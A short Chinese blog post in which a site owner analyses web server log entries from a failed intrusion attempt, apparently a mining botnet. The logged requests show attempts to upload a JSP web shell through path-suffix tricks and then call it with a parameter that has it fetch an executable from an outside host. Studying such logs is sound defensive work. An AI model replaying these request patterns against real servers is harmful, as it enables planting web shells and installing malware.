從 Web Log 學習系統漏洞 36

我的主機入侵一直都有, 只是跟之前的都差不多

這次似乎是某個殭屍電腦病毒企圖入侵我的主機幫它挖比特幣

1.放置這個FxCodeShell.jsp檔
116.90.80.50 - - [15/Apr/2019:14:12:08 +0800] "PUT /FxCodeShell.jsp%20 HTTP/1.1" 405 237 "http://www.w-studio.idv.tw:80/FxCodeShell.jsp%20" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
116.90.80.50 - - [15/Apr/2019:14:12:09 +0800] "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 403 231 "http://www.w-studio.idv.tw:80/FxCodeShell.jsp::$DATA" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
116.90.80.50 - - [15/Apr/2019:14:12:09 +0800] "PUT /FxCodeShell.jsp/ HTTP/1.1" 405 237 "http://www.w-studio.idv.tw:80/FxCodeShell.jsp/" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"


2. 執行這個FxCodeShell.jsp檔, 遠端控制去下載download.exe
116.90.80.50 - - [15/Apr/2019:14:12:09 +0800] "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 404 213 "http://www.w-studio.idv.tw:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"

112.66.98.7 - - [15/Apr/2019:14:12:20 +0800] "HEAD /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"

俄羅斯來的